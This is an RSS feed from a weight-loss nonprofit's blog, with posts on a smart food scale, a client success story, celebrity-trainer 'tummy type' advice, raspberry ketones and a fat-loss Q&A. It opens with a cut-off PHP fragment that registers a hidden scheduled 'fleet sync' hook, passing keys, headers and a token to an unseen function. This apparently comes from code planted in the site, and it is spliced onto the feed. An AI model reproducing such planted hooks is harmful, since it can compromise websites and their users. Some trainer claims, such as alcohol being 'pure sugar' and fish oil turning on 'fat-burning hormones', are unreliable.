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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Lose weight – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 17 Dec 2014 18:37:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Lose weight – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 The #1 Must-Have Healthy Holiday Gift https://skinnygeneprojectnew.dreamsites.io/1-must-healthy-holiday-gift/ https://skinnygeneprojectnew.dreamsites.io/1-must-healthy-holiday-gift/#respond Wed, 17 Dec 2014 18:37:08 +0000 http://skinnygeneproject.dreamhosters.com/?p=2317 By Hayley Gurriell, Skinny Gene Intern

In search of a holiday gift that will have its recipient tearing the box open to try it out right away? No, it’s not the iPhone 6 plus, although it can be used in conjunction with one! This nifty gadget takes living a healthier lifestyle to a whole new level with its customized set-up and feedback, aesthetically pleasing visuals, easy portability, and unique features.  This item revolutionizes eating healthier, staying fit, and reaching personal goals. The best thing about this product is that you only need one to benefit your entire family! What is it? The Prep Pad by The Orange Chef Co. is essentially, a smart food scale that links to your apple device through Bluetooth using an app called Countertop. It identifies the nutritional density of a food item or meal according to its weight.

 

Photo by : WIlliams-Sonoma
Photo by : WIlliams-Sonoma

 

What does it do?

Objectively, the Prep Pad:

  • Provides you with a customized nutrition label for a specific food item or meal based on its weight
  • Displays a pie chart that is divided into carbs, proteins, fats and overall calories
  • Upon placing an item on the scale and identifying what it is using the smart search, it will tell you the nutritional information for the specific item (including micro-nutrients/vitamins)
  • Upon placing an entire meal on the scale, and identifying each item individually, it will tell you the nutritional balance of your meal in accordance to your personal health goals, height, age, weight, gender, and activity level
  • Tracks your food intake and saves it to the Countertop app so that you can review, and refer back to it for certain meals or recipes

Subjectively, the Prep Pad:

  • Makes you more self-aware and conscious of exactly what you’re putting into your body
  • Helps prevent overeating by teaching you proper portion sizes
  • Educates you to recognize how much a portion is by the size of an item (also a good way to teach kids how much an ounce is, etc.)
  • Helps raise and promote overall awareness of nutrition and what you’re eating
  • Makes you mindful of your eating habits
  • Will make an awesome holiday gift for someone special!

What else can it do?

 – It can save your meals or individual food items to your “favorites” for future reference and easy access to frequently eaten foods so you don’t have to re-enter or re-weigh it

-It can level out bowls and other containers for bigger items that won’t fit on top of the Prep Pad or for foods with messy consistencies such as sour cream so that they’re not accounted for in the weighing of a food item

– It provides you access to review your nutritional intake at any time (by meal, day, week, etc.)

– It has the option to divide meals into serving sizes by selecting the number of people who will be eating it

– It keeps track of your calorie intake and provides you with a “balance score” (out of 100, with 100 being completely balanced), based on your nutritional health goals along with your height, weight, age, gender, and activity level to help you create balanced meals and stay on track with your goals

– Has a barcode scanner for items that are not in the more than 300,000 item search library

-Has the ability to have multiple different items on it at once and still provide their individual nutrition info, as well as the overall nutrition info for the entire meal by providing the option to change the item as soon as there is a change in weight on the scale. For example, if I put a handful a blueberries on the scale, enter blueberries, and am presented with its weight and nutritional information, I could then put a handful of almonds on the scale and enter almonds, it will give me the nutritional information of the almonds according to the added weight (difference in weight before and after the almonds were added)

– Allows you to share recipes or meals on social media easily or through email/messaging

– Can be used in conjunction with the “Jawbone UP” activity trackers to sync your exercise and suggest meals and recipes for you to replenish your body after a workout based on your health goals

I downloaded the Countertop app on my iPhone and created an account using my email account (you can also use Facebook for convenience or if you plan to share a lot of stuff on social media). After creating my account it then asked me a few questions in three separate categories, and this is what it looked like: “About Me”

  1. What’s your name?
  2. What’s your height?
  3. Are you male or female?
  4. What is your birthdate?
  5. What is your current weight?
  6. What is your weight goal? (lose/gain/maintain)

In the next section, “Activity” it asks you to rate your activity level on a scale of 1 to 5, and here’s how they described the levels

  1. Sedentary- No purposeful(or intentional) exercise
  2. Light- Exercise equivalent to 4,000 steps a day
  3. Moderate- Moderate exercise 3-5 days a week (included activities like Yoga)
  4. Heavy- Moderate or more vigorous exercise most days of the week (sports)
  5. Exceptional- Intensive training (extreme athletes training for marathons, triathlons, etc.)

The last section titled “Calorie Goal” provides you with a daily calorie goal to follow recommended by USDA based on the information you provided in the previous two sections. It also provides you with the recommended balance pie chart from the USDA that states a balanced meal consists of 50% carbs, 30% fats, and 20% proteins. There is an option to customize your pie chart percentages as well. When I entered my information (Hayley, 5’3, Female, June 18th 1992 (22 years old), 130lbs, I want to maintain my weight. I do heavy activity), the USDA recommended my daily calorie intake to be 2,505 calories per day. Everyone’s recommended calorie intake is going to be different, depending on the personalized info they entered. Overall this product does a fantastic job promoting a healthier lifestyle. It’s educational, portable, and easy to use. Everyone has something to gain by having a Prep Pad, and it would be a perfect holiday gift for

  • Your health conscious friend
  • A person you know that is trying to become more health conscious
  • Someone you care about that YOU want to become more health conscious
  • Visual learners
  • Technology hoarders
  • Your calorie counting friend
  • Athletes
  • That one person you know that’s always on a diet
  • People with diet restrictions

The Prep Pad is a perfect holiday gift to give right before the start of the New Year when everyone is making strides towards living a healthier lifestyle. It truly is a gift that keeps on giving.

]]> https://skinnygeneprojectnew.dreamsites.io/1-must-healthy-holiday-gift/feed/ 0 Skinny Gene Spotlight- Erika and Rosalvina https://skinnygeneprojectnew.dreamsites.io/skinny-gene-spotlight-erika-rosalvina/ https://skinnygeneprojectnew.dreamsites.io/skinny-gene-spotlight-erika-rosalvina/#respond Wed, 28 Aug 2013 04:15:55 +0000 http://skinnygeneproject.dreamhosters.com/?p=2004 By Barbara Gesell- Skinny Gene Accountability Ally

We’ve had the opportunity to work with an inspiring mother-daughter duo.  The mother, Rosalvina, was on a mission to not only create a healthy home for her family, but to also bring back one thing her daughter seemed to have lost – hope for a healthy future.

photo 1When we began, Erika was only 12 years old but had been diagnosed with a health condition that usually means heart disease and type 2 diabetes are just around the corner.  Rosalvina and Erika looked for someone to help them with weight loss, but their efforts just left them feeling more frustrated and discouraged. That was until she found the Skinny Gene Project through her local Copley YMCA.

Initially, Erika was hesitant to come to the Skinny Gene Project “Boost Your Metabolism” classes with her mother.  In the past, she felt like the doctors who were trying to get her to lose weight did not see who she was on the inside.  All they saw was an overweight preteen.

After her mother brought her a sample of the food provided at the first class, Erika had a feeling that this weight loss class would be different. So, despite her previous negative experiences, Erika changed her mind and decided to risk attending the Boost Your Metabolism class with her mother.

When asked what made her want to improve her health, Erika said, “What motivated me the most was seeing other kids being able to run around non-stop.  And me having to stop after 20 minutes and then I’ll be all tired out.”

Creating healthy habits is a family affair.  Rosalvina makes almost all their meals at home in order to provide healthy choices.  She also exercises 5-6 days per week and models good habits for her daughter.   Rosalvina teaches her daughter how to live a healthy lifestyle, simply leading by example -making Rosalvina the perfect “Mommy Mentor”.

Rosalvina and Erika’s hard work definitely paid off. Erika’s goal at the beginning of the program was to lose weight before she started 7th grade in the fall.  With Skinny Gene’s help and her mother’s support, Erika started exercising regularly and making small consistent changes to her diet.   She was able to exercise more without getting tired. By attending our Boost Your Metabolism classes and practicing what she learned at home, Erika started feeling more confident in her ability to have control over what she puts in her body. All of these small positive lifestyle changes led to big weight loss.

After being in our program for just 3 months, Erika and Rosalvina have become the first mother-daughter duo at Copley YMCA to become a member of the Skinny Gene 5% club.

The Skinny Gene 5% club is an honor given to recognize the people in the Boost Your Metabolism program who made significant positive lifestyle changes and lost 5% of their body weight.

Studies show that losing just 5% of your body weight can have significant long term health benefits, including reducing the risk of heart disease (e.g. lowers bad cholesterol and blood pressure) and preventing type 2 diabetes by at least 58% (i.e. 4+ years)

We are excited to announce that at the end of the 3 month period, Rosalvina lost 5.7% of her body weight and Erika lost 8.8%

After losing the weight Erika said, “I have all this energy stored up now!”

Rosalvina has helped Erika to start down the path to a healthy and happy future, and the mother-daughter team plan to continue working on their lifestyle changes with the Skinny Gene Project to continue on this path.

Although we, the Skinny Gene Project are happy about the weight that these two lost, we are more excited about what they gained- improved health and renewed hope for the future.

]]> https://skinnygeneprojectnew.dreamsites.io/skinny-gene-spotlight-erika-rosalvina/feed/ 0 How to Tame Your Tummy https://skinnygeneprojectnew.dreamsites.io/how-tame-tummy/ https://skinnygeneprojectnew.dreamsites.io/how-tame-tummy/#respond Thu, 25 Apr 2013 00:00:06 +0000 http://skinnygeneproject.dreamhosters.com/?p=1848 For many of us, springtime is our favorite time of year. The flowers are in bloom, the sun is shining; it’s like Mother Nature herself is begging us to come out and play.

But then on the other hand, some of us think springtime means one thing – 90 days until bathing suit season. Aaagh!!!  Unfortunately when the panic sets in about shedding the winter coat and revealing what we’ve been stealth-fully covering up for the last few months, so does the urge to try the newest and craziest weight loss fads, which usually means an incredibly unhealthy fad diet.

Well in hopes of helping you resist the temptation to try a rapid weight loss ( even faster weight gaining) gimmick, and instead try making healthy lifestyle changes, we’re sharing this article with you.  Since the tummy is usually the culprit of most of the stress between springtime and the summer months, we thought we’d share James Duigan’s (celebrity trainer) tips for taming your tummy. To get started, you’ll have to figure out… what tummy type are you?!

Is yours a spare tire or a stress bulge? Finding out your tummy type is the key to getting a perfect midriff

From  James Duigan –Bodyism.com

For many women, getting bikini ready means tackling one dreaded area in particular — our tummies.
Most of us still think the best way to achieve a washboard stomach is by doing hundreds of sit-ups. Not so, says A-list trainer and body guru James Duigan.

James, who sculpts supermodels Elle Macpherson and Rosie Huntingdon-Whiteley among others, insists there is no ‘one size fits all’ method for getting a flat belly. Instead, he’s identified five key ‘tummy types,’ all of which require a different approach to achieve successful toning.

Once you figure out your tummy type, you’ll be on your way to getting the perfect midriff…

THE SPARE TIRE TUMMY

The spare tire: This is one of the easiest tummy troubles to eliminate because it’s caused by eating the wrong foods and not exercising enough.

HOW TO IDENTIFY THIS TYPE

These people are likely to lead sedentary lives, perhaps with jobs that keep them desk-bound. They may also have an emotional attachment to sugary foods.

Luckily, this ‘spare tire’ is one of the easiest tummy troubles to eliminate as, according to James, it’s caused by eating the wrong foods and not exercising enough.

TYPICAL BAD HABITS

If you exercise very little, eat lots of sugar and refined carbohydrates in products like biscuits, cakes and white bread, or rely on starchy carbs like pasta and rice, you you probably have an overweight tummy with accompanying fat on your legs and hips,’ says James.

MIDRIFF MAKEOVER PLAN

  • Cut down on alcohol. ‘Alcohol is a fat bomb for the tummy — pure sugar which goes straight to your waist and stops you burning all other fat until the booze has been processed,’ says James. ‘Just a few glasses three to four times a week will lead to a “wine waist” — a thick midriff and pudgy tummy. ‘If you want to drink occasionally that’s fine, but the bottom line is that you have to cut back on booze to get a flat belly.’
  • Once you cut out alcohol for two weeks, it’s time to overhaul your diet. ‘In a nutshell, eat well and move more,’ says James. Avoid low-fat and so-called ‘diet’ snacks. ‘These pre-packaged products are often packed full of chemicals, refined sugar, salt and preservatives to give them flavor.
  • ‘Ditch calorie counting in favor of a healthy diet full of unprocessed fresh foods such as fish, eggs, organic meat and vegetables. ‘Start the day with eggs and smoked salmon, or even grilled chicken and vegetables, and snack on sliced lean meats. ‘And don’t be afraid of eating good fats, such as avocados, nuts and oily fish. These encourage your body to burn midriff fat, giving you a flat tummy.’
  • ‘Exercise is the key to helping this tummy type,’ says James. Simply going for a long walk, doing lunges, squats or dips at home or a yoga class will be beneficial. You don’t need a gym.

TOP TIP FOR THIS TUMMY

If you regularly reward yourself for a hard day with a piece of cake or deal with bad news with a biscuit, it’s important to remember that being beautiful is as much about how you feel as how you look. The starting point for any tummy transformation is feeling happy.

THE STRESS TUMMY

Stress tummy: These types are typically over-achievers with perfectionist personalities
Stress tummy: These types are typically over-achievers with perfectionist personalities.

HOW TO IDENTIFY THIS TYPE

Stressed-tummy types are typically over-achievers with perfectionist personalities. They are usually also susceptible to digestive conditions such as irritable bowel syndrome (IBS), which can cause bloating and make their tummies look far worse.

‘Stress tummies are easy to spot, as the weight is specific to the front of the midriff and the umbilical area,’ explains James. ‘When stressed, we produce cortisol, a hormone which encourages the body to cling on to fat around the stomach.’

Stressed tummies will also be fairly hard to the touch, rather than wobbly.

TYPICAL BAD HABITS

It’s likely you skip meals, abuse your adrenal system with too much caffeine and grab junk food for convenience.

MIDRIFF MAKEOVER PLAN

  • Get an early night. ‘Stressed women nearly always sleep badly, which disrupts the production of leptin, the hormone which helps regulate appetite and metabolism,’ James explains. ‘This is why we eat more when we are tired and crave fat-depositing sugary snacks for an instant energy boost.’
  • Combat exhaustion with a relaxation strategy of deep-breathing, meditation and long baths before bed to encourage a good night’s sleep and limit coffee consumption to no more than two cups a day.
  • Don’t go for the burn when exercising. ‘Excessive cardio which increases cortisol levels isn’t the answer,’ says James. ‘Instead, yoga, long walks and resistance work with weights is perfect for sculpting and building up strength while calming the system.’
  • Magnesium is a calming mineral to help soothe a stressed belly. James advises eating lots of magnesium-rich foods such as dark green leafy vegetables, nuts and seeds.

TOP TIP FOR THIS TUMMY

Stress-busting stretches and yoga poses at night time can help to lower cortisol levels, while chamomile teas or James’ own Bodyism Body Serenity supplement (bodyism.com) can also help the body unwind.

THE LITTLE POOCH

The little pooch: These women are likely to be busy mums or have demanding careers - hey may even be a gym junkie
The little pooch: These women are likely to be busy mums or have demanding careers – hey may even be a gym junkie.HOW TO IDENTIFY THIS TYPE

These women are likely to be busy moms or have demanding careers. ‘They may even be a gym junkie, but stuck in a workout-and-diet rut, perhaps always eating the same foods and doing the same routine at the gym, which keeps you slim but leaves you with a lower belly that spoils your silhouette,’ says James.

TYPICAL BAD HABITS

‘Doing excessive crunches and using gimmicky gym items such as ab-rollers can place a strain on the hip flexors and the lower back, causing the tummy muscles to protrude so your belly sticks out,’ says James.

MIDRIFF MAKEOVER PLAN
  • Good nutrition and plenty of fiber are essential to improve digestive conditions such as inflammation, bloating and constipation, which can make a pooch tummy worse. Green leafy vegetables, oat bran and whole grains are good, natural sources of fiber.
  • Sit-ups done incorrectly increase your lower back curve and accentuate the ‘pouch’ effect. Swap sit-ups for planks. Do these by lying face down on a mat, resting on your forearms. Push off from the floor, rising onto your toes and elbows, so your body is parallel to the floor from your head to your heels. Start off doing ten seconds and build up to a whole minute.
  • It’s a common misconception that using weights bulks women up. In fact, the opposite is true. Using weights will burn serious amounts of fat in a short space of time, so try introducing circuits — repetitions of exercises like squats or lunges which work individual muscle sets.

TOP TIP FOR THIS TUMMY

Be kind to your tummy, reduce inflammation by drinking lots of water and eating easy-to-digest foods such as green vegetables and lighter proteins such as fish and chicken.

THE MOMMY TUMMY

The Mummy tummy: Women with these bellies have usually given birth in the past few years, and, being a typical mum, have little time for themselves
The Mommy tummy: Women with these bellies have usually given birth in the past few years, and, being a typical mum, have little time for themselves.

HOW TO IDENTIFY THIS TYPE

Women with these tummies have usually given birth in the past few years, and, being a typical mum, have little time for themselves. ‘After giving birth, the uterus drops and is much heavier than it was pre-pregnancy,’ says James. ‘It takes at least six weeks to return to its usual size, so don’t even think about trying to get a flat stomach until after then.

‘You need to re-train your pelvic floor and lower abs to increase blood flow and strengthen loose muscles.’

TYPICAL BAD HABITS

Rushing back to exercise too quickly. ‘I would suggest waiting around two to three months,’ says James. ‘Being stressed about getting rid of your baby weight will only make you cling onto it more. Give yourself a break!’

MIDRIFF MAKEOVER PLAN

  • ‘Fish oil supplements turn on fat-burning hormones and turn off fat-storing hormones,’ says James. ‘Begin by taking three 1,000mg capsules a day with meals and build up to five. I’ve trained Elle Macpherson through two pregnancies and she takes these every day.’
  • Try to eat good fats — found in sources such as nuts, oils and olives — every day. ‘Not only do they help you burn fat and absorb vitamins from food effectively, they also help combat tiredness — a big help for tired moms,’ says James.
  • Gentle pelvic floor exercises (known as Kegels) act as a natural corset for the body to flatten your tummy from the inside out. Squeeze and clench your pelvic floor muscles 15-20 times, in five sessions a day.
  • Steer clear of sit-ups. ‘After giving birth, the linea alba muscles — which run down the mid-line of the abdomen — separate and you need to allow them to recover,’ says James. ‘Crunches are the worst thing you can do, as they will force these muscles farther apart. Instead, breathe deep into your tummy while on all fours, then slowly exhale while doing a pelvic floor exercise.’

TOP TIP FOR THIS TUMMY

Daytime naps (try putting up blackout blinds) and stretching before bed are important ways to restore sleep hormones and boost fat-burning.

THE BLOATED TUMMY

Bloated tummies: These are often flat in the morning, but swell throughout the day with gas or indigestion
Bloated tummies: These are often flat in the morning, but swell throughout the day with gas or indigestion.

HOW TO IDENTIFY THIS TYPE

Bloated tummies are often flat in the morning, but swell throughout the day with gas or indigestion. Bloating affects both slim and overweight women. It is almost always caused by food intolerances and allergies, or sluggish bowels as a result of a poor diet.

TYPICAL BAD HABITS

You eat the same foods and may have done so for a lifetime without realising you’re intolerant to them.

MIDRIFF MAKEOVER PLAN

  • ‘The most common intolerances I see are wheat and gluten (bread, pasta, pastries, pizza, cakes and cereals), alcohol, yeast (in muffins, beer and pastries) and processed dairy (cheese, milk, butter),’ says James. ‘Gluten in particular can inflame the bowel and make the stomach look bigger.
  • ‘Experiment to work out what bothers your belly as you know your body better than anyone else. Try eliminating key culprits such as gluten for two weeks to see if your bloating reduces, or worsens when you reintroduce foods. Focus on a diet with lots of fresh veg, meat, chicken and fish.’
  • Sluggish bowels are often a result of eating the wrong foods in the wrong way. Make breakfast your biggest meal, as this is when digestion is at its peak, and avoid eating late at night which leads to bloating. Chew food properly and drink plenty of water to keep the digestive system moving.
  • Bloating can be a sign of imbalanced gut flora. So to get your tummy really flat you need to repopulate it with friendly bacteria. Prebiotic and probiotic supplements are the simplest way. Natural sources include miso soup, sour cream and some fruit and veg including kale, garlic and onions. A healthy gut means a flat stomach.

TOP TIP FOR THIS TUMMY

Believe it or not, breathing can be the best thing you can do for this kind of tummy. Try this each morning: lay on your back, completely relaxed, and breathe deep into your tummy ten times. After eating, a walk will help the digestive process, too.

]]> https://skinnygeneprojectnew.dreamsites.io/how-tame-tummy/feed/ 0 Diets in Review: Raspberry Ketones https://skinnygeneprojectnew.dreamsites.io/diets-review-raspberry-ketones/ https://skinnygeneprojectnew.dreamsites.io/diets-review-raspberry-ketones/#respond Wed, 16 Jan 2013 13:35:50 +0000 http://skinnygeneproject.dreamhosters.com/?p=1816 It seems like every day there is another “miracle” weight loss food, product, or program that promises to help you shed those unwanted pounds with little to no effort on your part.  We usually gravitate to the old saying, “if it sounds too good to be true, it probably is.” But, we occasionally come across products or foods that aren’t necessarily a  “miracle” , but when used in conjunction with a healthy lifestyle  (eating a balanced diet and exercising) can help boost your metabolism.

To help you differentiate between what  product/food is a great discovery, more like wishful thinking, or a blatant lie, we are starting a new series of posts called – Diets in Review.

First up… Here’s what you should know about Raspberry Ketones:

RASPBERRY KETONES

Raspberry Ketones have become nearly impossible to find in stores since Dr. Oz proclaimed it a fat-buster and “The No. 1 Raspberry Ketones  Miracle in a Bottle” on his television show. Some nutritionists have attacked the hype, because it (product claim) is unsupported by any human studies.

One argument in favor of the raspberry ketones is, “it might give a bit of a jump start to the challenge of losing weight and it seems to be just a condensed version of raspberries, which are good for you in general anyway.”

An opposing argument is there’s no substitute for long-lasting dietary changes and increased physical activity; they also worry about the absence of human studies establishing raspberry ketones’ effectiveness as well as safety.

“People are willing to take chances. It’s amazing how many people look for a miracle instead of looking at what they’re eating and how much they’re moving and fixing whatever is broken,” said Mary Hartley, a registered dietitian and clinical nutritionist in Brooklyn, N.Y.

Before you decide whether raspberry ketones are right for you, please do 2 things. First, read more about it (below), an informed decision is the best decision. Second, ask yourself why you want it (raspberry ketones).

Consider this.. If it isn’t to support your current healthy lifestyle,  then it is most likely a band-aid and not a viable long-term solution. It could distract you from what you should be doing (eating  a balanced diet and exercising), and end up doing more harm than good.

ABOUT RASPBERRY KETONES

Raspberry ketones (RK) are the chemical compounds that give raspberries their enticing aroma. And when ketones are taken from raspberries, they can be used to add fragrance and flavor to things such as colas, ice cream, and cosmetics.

But the buzz that has put raspberry ketones in the spotlight is the claim that raspberry ketone supplements can melt away fat and prevent weight gain — even in the face of a high-fat diet. But can they really do that?

The answer is no one knows. Experts say that investing anywhere from $12 to $20 in a bottle of raspberry ketone supplements amounts to little more than wishful thinking. And doing so may or may not be harmful.

What the Science Says

There have been no human studies so far on the weight loss effects of raspberry ketones.

The only studies on the effect of raspberry ketones on fat are a handful of animal studies. The studies were done over the last 10 to 15 years. Researchers looked at the effect of raspberry ketones on rats, mice, and rabbits.

There are also a few studies on the effect of raspberry ketones on isolated cells in test tubes. But there is no way to know whether the same results would be produced in people.

The excitement over the potential benefit is understandable. In the animal studies, raspberry ketones appear to alter the animals’ metabolism. As a result, the animals had a:

    • Speed-up in the processing of fat
    • Reduction of fatty tissue, especially in the liver

In the animal studies, raspberry ketones also seemed to affect the production of certain hormones that increase the body’s ability to burn fat.

But whether raspberry ketones would have the same effect on metabolism and hormone production in humans hasn’t been studied.

Until it has, experts say you’re better off holding onto your money. Instead, concentrate on a healthy, balanced diet and regular exercise. Both of those have been shown to be effective ways to manage weight.

The Unknown Potential for Harm

Raspberry ketones in food and cosmetics are generally considered safe. But no one knows what short- or long-term effect raspberry ketone supplements could have on your overall health. That’s because there has been no study to document potential side effects. There are also no studies that look at potential drug or food interactions.

The fact that raspberry ketones chemically resemble other stimulants suggests the potential for certain side effects. And there are anecdotal reports of jitteriness, increased blood pressure, and rapid heartbeat among people taking raspberry ketone supplements. But without the evidence, no one can say what dosage of raspberry ketone supplements, if any, might be safe to take.

The best advice is to discuss your concerns about weight and weight management with your doctor or talk to a dietitian or nutritionist before trying any unproven method for weight control.

Source: WebMd

]]> https://skinnygeneprojectnew.dreamsites.io/diets-review-raspberry-ketones/feed/ 0 January’s FREE Program: Your Plan for Creating a Healthy New Year https://skinnygeneprojectnew.dreamsites.io/januarys-free-program-your-plan-creating-healthy-new-year/ https://skinnygeneprojectnew.dreamsites.io/januarys-free-program-your-plan-creating-healthy-new-year/#respond Wed, 09 Jan 2013 00:34:58 +0000 http://skinnygeneproject.dreamhosters.com/?p=1810

We want to help you kick off the New Year to a healthy start!

 

Happy New Year

When we got together to talk about what we could do to help you this New Year, we came across these interesting statistics.

It turns out that exercising more and losing weight are the top 2 and 3 most popular New Year’s resolutions (respectively). Unfortunately, studies show that 25% of resolutions are broken in the 1st week, and 46% of people have given up on their resolution by 6 months.

This means that despite our good intentions, we just aren’t able to get active and make healthier choices to lose the weight.

Why are people unable to achieve their goal? One main reason– the lack of a real plan!
Planning to do something is one thing; but actually putting together an executable process to ensure success, is another.

So, with YOU in mind, we created this…

 

A FREE phone consultation with a Nutritionist to discuss your plan for creating a healthier New Year!

During your FREE consultation, your Nutritionist will be interested in learning more about you, so that she can provide the best solutions to fit your specific needs.

Together you will discuss:

  • Past struggles and current obstacles that are preventing you from achieving successful weight loss now and in the future
  • Setting goals that will set you up for success vs. failure
  • Your current eating habits, to identify specific areas that should be addressed in your plan
  • How we can support you, such as: teaching you about nutrition, providing guidance and accountability, answering questions as they come up (as they inevitably do), and give you the confidence you need to succeed.

Based on the information you provide, you may also receive:

  • A Nutrition Assessment
  • Metabolism Boosting Menu plan for those hard to lose pounds
  • Suggested Grocery List
  • 10 Favorite Tips for achieving success
  • PLUS and extra gift, from us to you, to help you kick off a Healthy New Year 🙂

 

Book Your Appointment

Getting started couldn’t be easier! Simply follow these 2 steps:

  1. Click here to Book Your FREE Appointment
  2. Check your inbox for an email from your new Nutritionist with the subject line “Schedule Your Appointment”, and simply reply with the best time/date that fits your schedule!

 

Please keep in mind that the time you select is reserved for YOU. So, mark it on your calendar! After all, it could end up being the day you took the step to finally lose weight, live a healthy lifestyle, and regained your health.

How good of a deal is this?

Well, let’s just say that some Nutritionists charge $110 for a 30 min session. We’re a non-profit organization that is sincerely interested in seeing you lose weight and improve your health. We are offering this program for FREE in January, so that anyone who needs it can receive the guidance they need to regain their health in 2013.

So take advantage of our offer before you forget, and book your appointment now!

(Note: Since we are a non-profit, appointment availability may be limited. Appointments will be booked in the order in which they are received. We will do our best to accommodate your specific needs and availability.) 

We look forward to speaking with you!

-Skinny Gene Nutrition Team

]]> https://skinnygeneprojectnew.dreamsites.io/januarys-free-program-your-plan-creating-healthy-new-year/feed/ 0 Q&A: Working Out But Not Getting Rid of Body Fat https://skinnygeneprojectnew.dreamsites.io/qa-working-out-but-not-getting-rid-body-fat/ https://skinnygeneprojectnew.dreamsites.io/qa-working-out-but-not-getting-rid-body-fat/#respond Thu, 26 Jul 2012 19:28:13 +0000 http://skinnygeneproject.dreamhosters.com/?p=1624 We receive several comments and questions on our nutrition blog regarding working out and reducing body fat.  There is nothing more frustrating than working out, but not seeing the results you deserve.  

Since this seems to be such a common concern, we’d like to share our answer to this frequently asked question. You may also want to check out our previous post – Getting Rid of the Jiggle Around Your Middle

If you have any additional questions, please post them below or sign up for a free nutrition session.

Question:

I have been working out two times a week in karate, one day a week with football, and some of my time I spend lifting weights and doing sit-up excercises used by navy seals.

Nothing is getting rid of my body fat, I have been nearly starving myself, drinking only water, and only eating breakfast and dinner. Along with the fact I haven’t lost any weight I have gained weight, mostly muscle. The weight I’ve gained totaled 20 pounds, 55% of which is fat.

I’m getting angry. Nothing is working!

Answer

 By Cindy Marasigan–Skinny Gene dietetic intern, nutrition counselor, fitness instructor, and culinary chef 

I can see your frustration on losing body fat. It sounds like you are very active and you do a variety of sports and exercises. 

There are plenty of ways to quickly drop pounds, but to keep it off for the long term — plan to lose weight slowly. If you have struggled with losing weight and keeping it off, it’s probably time you revisit weight-loss basics.

 

Make smart food choices from every group

  • Your body needs the right fuel to stay energized and strong. The best way to get the nutrients you need is to enjoy a wide-variety of foods from all of the food groups: fruits, vegetables, whole grains, lean proteins and low-fat dairy.

Get the most nutrition from your calories

  • You can make a big difference in your calorie intake by eating and drinking smaller portions and limiting foods that are high in sodium, solid fats and added sugars.

Balance food and physical activity

  • To reach a healthy weight, make sure to include physical activity in your day. The minimum for good health is 30 minutes of exercise most days of the week, but some need to be physically active for longer to reach a healthy weight.

Eating Right for a Healthy Weight

Achieving and maintaining a healthier weight will contribute to your overall health and wellbeing.

The following tips are for adults who want to make changes in their lifestyle and move toward a healthier weight.

Start with a Plan

  • Develop a plan for lifelong health, not just short-term weight loss. Don’t lose sight of the big picture: achieving overall good health. By putting more emphasis on your health, experts agree that you can raise your overall self-esteem, resulting in healthy eating, weight loss and improved health. Set healthy, realistic goals.
  • When you make changes step-by-step and set realistic goals, you are more likely to succeed in reaching them. Start with two or three specific, small changes at a time. Track your progress by keeping a food and activity log. When you’ve turned a healthy change into a habit, reward yourself with a fun activity.
  • Get a personalized eating plan at www.mypyramid.gov. Your MyPyramid Plan will give you the amounts of each food group you need daily. If you have special dietary needs, consult your healthcare provider or contact us for a customized plan.

Healthy Eating Tips

  • Eat at least three meals a day and plan your meals ahead of time. Whether you’re eating at home, packing a lunch or eating out, an overall eating plan for the day will help keep you on track.
  • Balance your plate with the right portions of a variety of foods. Half your plate should be filled with vegetables, one fourth with lean meat, poultry or fish and one fourth with grains. To round out your meal, add a glass of fat-free or low-fat milk and a serving of fruit for dessert. Try changing from a large dinner plate to a smaller one. It may help you feel satisfied with reduced portions.
  • Start your meal with low calorie foods like fruits, vegetables and salads. Then move on to the main course and side dishes.

 

Muscle vs. Fat:

  • If you only have a small amount of weight to lose, then you may feel like the weight training is not helping you move down on the scale. In fact, the number may even go up, but you will look thinner. This is due to an increase in lean body mass (muscle, bone, blood volume) and a decrease in body fat. In other words, even if the scale doesn’t change much, you will probably see a difference in how your clothes fit.
  • On the other hand, if you have a lot of weight to lose, you will also experience an increase in lean body mass and loss of body fat. But the results on the scale will probably be more dramatic.

 

Exercise Basics:

  • At its most basic, losing weight is about burning more calories than you eat.
  • To lose one pound of fat, you must burn approximately 3500 calories over and above what you already burn doing daily activities. That sounds like a lot of calories and you certainly wouldn’t want to try to burn 3500 calories in one day. However, by taking it step-by-step, you can determine just what you need to do each day to burn or cut out those extra calories. Below is a step by step process for getting started.

Important Steps:

  •  Calculate your BMR (basal metabolic rate). Your BMR is the amount of calories your body needs to maintain basic bodily functions like breathing and digestion. This is the minimum number of calories you need to eat each day. Keep in mind that no calculator will be 100% accurate, so you may need to adjust these numbers as you learn more about your own metabolism.

Example:

  • My BMR is 1400 calories and I burn about 900 calories with regular exercise, walking around and doing household chores. To maintain my weight, I should be eating 2300 calories (1400 + 900= 2300). However, after keeping a food journal, I find that I was eating 2550 calories every day. By eating 250 more calories than my body needs, I will gain about a pound every 2-3 weeks.
  • This example shows how easy it is to gain weight without even knowing it. However, it’s also easy to lose weight, even if the process itself can be slow. You can start by making small changes in your diet and activity levels and immediately start burning more calories than you’re eating. If you can find a way to burn an extra 200 to 500 calories each day with both exercise and diet, you’re on the right track.
  • Calculate your activity level. For a week or so, keep an activity journal and use a calorie calculator to figure out how many calories you burn while sitting, standing, exercising, lifting weights, etc. throughout the day. Another, easier option is to wear a heart rate monitor that calculates calories burned. After a week, add your totals for each day and average them out to get a general idea of how many calories you burn each day.
  • Keep track of how many calories you eat. For at least a week, enter and track your calories online (e.g., with Calorie Count) or use a food journal to write down what you eat and drink each day. Be as accurate as possible, measuring when you need to or looking up nutritional information for restaurants, if you eat out. After a week, add your totals for each day and average them out to get a general idea of how many calories you eat each day.
  • Add it up. Take your BMR number and add your activity calories. Then subtract your food calories from that total. If you’re eating more than you’re BMR + your activity calories, you’re at risk for gaining weight.

 

Hope this helps. Good luck on your weight loss goals!

]]> https://skinnygeneprojectnew.dreamsites.io/qa-working-out-but-not-getting-rid-body-fat/feed/ 0 Just Say No to Yo-Yo Dieting https://skinnygeneprojectnew.dreamsites.io/just-say-no-to-yo-yo-dieting/ https://skinnygeneprojectnew.dreamsites.io/just-say-no-to-yo-yo-dieting/#respond Tue, 29 May 2012 22:00:27 +0000 http://skinnygeneproject.dreamhosters.com/?p=1545
Image from Guys in Good Health

